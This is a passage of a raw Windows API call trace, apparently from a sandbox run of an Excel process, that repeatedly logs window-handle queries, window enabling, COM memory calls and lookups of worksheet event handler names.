nIndex=-6) returned 0x0 [0178.819] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0178.819] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0178.819] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0178.819] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0178.819] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0178.819] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0178.819] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24acd30 [0178.820] IMalloc:Free (This=0x7feffc15380, pv=0x24acd30) [0181.916] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb60000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb60000035b) returned 0x0 [0181.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0181.916] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0181.916] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0181.917] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0181.918] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0181.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0181.918] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0181.918] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0181.918] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0181.925] GetCurrentThreadId () returned 0x8fc [0181.925] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0181.925] GetDesktopWindow () returned 0x10010 [0181.925] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0181.925] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0181.925] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0181.925] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0181.925] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0181.925] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0181.925] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0181.925] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0181.925] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0181.925] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0181.926] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0181.926] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0181.926] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0181.926] IsWindowEnabled (hWnd=0x202b0) returned 1 [0181.926] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0181.926] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0181.926] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0181.926] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0181.926] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0181.927] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0181.927] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0181.927] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0181.927] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0181.927] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0181.927] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0181.927] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0181.927] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0181.927] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0181.927] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0181.927] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0181.927] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0181.927] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0181.927] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0181.927] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0181.927] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0181.927] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x72e3d20 [0181.927] IMalloc:Free (This=0x7feffc15380, pv=0x72e3d20) [0182.233] GetAsyncKeyState (vKey=27) returned 0 [0182.233] GetCurrentThreadId () returned 0x8fc [0182.233] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0182.233] GetDesktopWindow () returned 0x10010 [0182.234] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0182.234] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0182.234] GetWindowLongPtrA (hWnd=0x18021c, nIndex=-6) returned 0x7feef2c0000 [0182.234] GetWindowLongPtrA (hWnd=0x18021c, nIndex=-6) returned 0x7feef2c0000 [0182.234] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0182.234] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0182.234] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0182.234] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0182.234] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0182.234] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0182.235] IsWindowEnabled (hWnd=0x202b0) returned 0 [0182.235] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0182.235] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0182.235] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0182.235] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0182.235] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0182.235] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0182.235] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0182.235] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0182.235] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0182.235] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0182.236] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0182.236] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0182.236] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0182.236] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0182.236] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24aced0 [0182.236] IMalloc:Free (This=0x7feffc15380, pv=0x24aced0) [0185.391] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000000d6) returned 0x0 [0185.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0185.391] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0185.391] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0185.391] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0185.392] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0185.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0185.392] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0185.392] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0185.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0185.403] GetCurrentThreadId () returned 0x8fc [0185.403] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0185.403] GetDesktopWindow () returned 0x10010 [0185.403] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0185.403] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0185.403] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0185.403] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0185.403] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0185.403] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0185.403] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0185.403] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0185.404] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0185.404] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0185.404] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0185.404] IsWindowEnabled (hWnd=0x202b0) returned 1 [0185.404] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0185.404] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0185.404] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0185.405] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0185.405] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0185.405] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0185.405] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0185.405] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0185.405] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0185.405] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0185.405] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0185.405] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0185.405] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0185.405] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0185.405] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0185.405] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0185.405] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0185.405] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0185.405] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0185.405] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0185.405] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0185.405] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1c6e0 [0185.405] IMalloc:Free (This=0x7feffc15380, pv=0xbe1c6e0) [0185.709] GetAsyncKeyState (vKey=27) returned 0 [0185.709] GetCurrentThreadId () returned 0x8fc [0185.709] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0185.709] GetDesktopWindow () returned 0x10010 [0185.709] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0185.709] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0185.709] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0185.709] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0185.709] GetWindowLongPtrA (hWnd=0x18028a, nIndex=-6) returned 0x7feef2c0000 [0185.709] GetWindowLongPtrA (hWnd=0x18028a, nIndex=-6) returned 0x7feef2c0000 [0185.709] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0185.709] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0185.709] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0185.709] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0185.709] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0185.710] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0185.710] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0185.710] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0185.710] IsWindowEnabled (hWnd=0x202b0) returned 0 [0185.710] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0185.710] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0185.710] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0185.710] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0185.710] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0185.711] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0185.711] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0185.711] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0185.711] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0185.711] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0185.711] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0185.711] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0185.711] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0185.711] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0185.711] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0185.711] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0185.711] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0185.711] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0185.711] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0185.711] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0185.711] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0185.711] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24aced0 [0185.711] IMalloc:Free (This=0x7feffc15380, pv=0x24aced0) [0188.751] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000001ad | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000001ad) returned 0x0 [0188.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0188.751] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0188.751] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0188.751] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0188.752] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0188.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0188.752] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0188.752] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0188.752] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0188.767] GetCurrentThreadId () returned 0x8fc [0188.767] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0188.767] GetDesktopWindow () returned 0x10010 [0188.767] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0188.767] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0188.767] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0188.767] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0188.767] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0188.767] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0188.767] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0188.767] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0188.767] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0188.767] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0188.768] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0188.768] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0188.768] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0188.768] IsWindowEnabled (hWnd=0x202b0) returned 1 [0188.768] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0188.768] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0188.768] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0188.768] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0188.768] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0188.768] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0188.768] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0188.769] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0188.769] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0188.769] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0188.769] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0188.769] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0188.769] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0188.769] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0188.769] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 